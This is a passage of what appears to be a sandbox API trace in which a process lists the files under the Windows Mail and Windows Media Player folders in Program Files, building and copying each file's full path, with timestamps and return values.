(lpString1="en-US", lpString2=".") returned 1 [0030.000] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0030.000] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.000] lstrlenW (lpString="en-US") returned 5 [0030.000] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US") returned="c:\\Program Files (x86)\\Windows Mail\\en-US" [0030.000] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\" [0030.000] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0030.000] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0030.000] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.001] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.001] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.001] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.001] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.001] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.001] lstrcmpW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0030.001] lstrcmpW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0030.001] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0030.001] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned 57 [0030.001] lstrcpyW (in: lpString1=0x465c40, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0030.001] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.001] lstrcmpW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0030.001] lstrcmpW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0030.001] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0030.001] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned 57 [0030.001] lstrcpyW (in: lpString1=0x465cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0030.001] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.001] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.001] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.001] lstrcmpW (lpString1="msoe.dll", lpString2=".") returned 1 [0030.001] lstrcmpW (lpString1="msoe.dll", lpString2="..") returned 1 [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.001] lstrlenW (lpString="msoe.dll") returned 8 [0030.001] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned 44 [0030.001] lstrcpyW (in: lpString1=0x467b28, lpString2="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0030.001] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.001] lstrcmpW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0030.001] lstrcmpW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.001] lstrlenW (lpString="MSOERES.dll") returned 11 [0030.001] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned 47 [0030.001] lstrcpyW (in: lpString1=0x467b90, lpString2="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0030.001] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.001] lstrcmpW (lpString1="oeimport.dll", lpString2=".") returned 1 [0030.001] lstrcmpW (lpString1="oeimport.dll", lpString2="..") returned 1 [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.001] lstrlenW (lpString="oeimport.dll") returned 12 [0030.001] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0030.001] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned 48 [0030.001] lstrcpyW (in: lpString1=0x464b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0030.001] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.002] lstrcmpW (lpString1="wab.exe", lpString2=".") returned 1 [0030.002] lstrcmpW (lpString1="wab.exe", lpString2="..") returned 1 [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.002] lstrlenW (lpString="wab.exe") returned 7 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned 43 [0030.002] lstrcpyW (in: lpString1=0x467bf8, lpString2="c:\\Program Files (x86)\\Windows Mail\\wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0030.002] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.002] lstrcmpW (lpString1="wabfind.dll", lpString2=".") returned 1 [0030.002] lstrcmpW (lpString1="wabfind.dll", lpString2="..") returned 1 [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.002] lstrlenW (lpString="wabfind.dll") returned 11 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned 47 [0030.002] lstrcpyW (in: lpString1=0x467c58, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0030.002] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.002] lstrcmpW (lpString1="wabimp.dll", lpString2=".") returned 1 [0030.002] lstrcmpW (lpString1="wabimp.dll", lpString2="..") returned 1 [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.002] lstrlenW (lpString="wabimp.dll") returned 10 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned 46 [0030.002] lstrcpyW (in: lpString1=0x467cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0030.002] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.002] lstrcmpW (lpString1="wabmig.exe", lpString2=".") returned 1 [0030.002] lstrcmpW (lpString1="wabmig.exe", lpString2="..") returned 1 [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.002] lstrlenW (lpString="wabmig.exe") returned 10 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned 46 [0030.002] lstrcpyW (in: lpString1=0x467d28, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0030.002] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.002] lstrcmpW (lpString1="WinMail.exe", lpString2=".") returned 1 [0030.002] lstrcmpW (lpString1="WinMail.exe", lpString2="..") returned 1 [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0030.002] lstrlenW (lpString="WinMail.exe") returned 11 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned 47 [0030.002] lstrcpyW (in: lpString1=0x467d90, lpString2="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0030.002] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0030.002] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0030.002] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0030.002] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1 [0030.002] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1 [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0030.002] lstrlenW (lpString="Windows Media Player") returned 20 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player") returned="c:\\Program Files (x86)\\Windows Media Player" [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\") returned="c:\\Program Files (x86)\\Windows Media Player\\" [0030.002] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.002] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\*" [0030.003] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.003] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.003] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.003] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.003] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.003] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0030.003] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.003] lstrlenW (lpString="en-US") returned 5 [0030.003] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US" [0030.003] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\" [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.003] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*" [0030.003] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.003] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.003] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.003] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.003] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.003] lstrcmpW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0030.003] lstrcmpW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.003] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0030.003] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63 [0030.003] lstrcpyW (in: lpString1=0x462600, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0030.003] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.003] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0030.003] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.003] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0030.003] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 66 [0030.003] lstrcpyW (in: lpString1=0x467df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0030.003] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.003] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0030.003] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.003] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0030.003] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0030.003] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 66 [0030.003] lstrcpyW (in: lpString1=0x467e88, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0030.004] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.004] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0030.004] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.004] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0030.004] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned 64 [0030.004] lstrcpyW (in: lpString1=0x467f18, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0030.004] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.004] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0030.004] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.004] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0030.004] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned 68 [0030.004] lstrcpyW (in: lpString1=0x467fa8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0030.004] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.004] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0030.004] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.004] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0030.004] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 66 [0030.004] lstrcpyW (in: lpString1=0x468040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0030.004] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.004] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0030.004] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.004] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0030.004] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned 73 [0030.004] lstrcpyW (in: lpString1=0x4680d0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0030.004] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.004] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0030.004] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.004] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0030.004] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned 66 [0030.004] lstrcpyW (in: lpString1=0x468170, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0030.004] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.004] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0030.004] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0030.004] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0030.004] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0030.004] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned 66 [0030.004] lstrcpyW (in: lpString1=0x468200, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0030.005] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.005] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.005] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.005] lstrcmpW (lpString1="Icons", lpString2=".") returned 1 [0030.005] lstrcmpW (lpString1="Icons", lpString2="..") returned 1 [0030.005] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.005] lstrlenW (lpString="Icons") returned 5 [0030.005] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Icons" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons" [0030.005] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\" [0030.005] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned 50 [0030.005] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*" [0030.005] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.005] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.005] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.005] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.005] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.005] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.005] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.005] FindNextFileW (in: hFindFile=0x795a28, 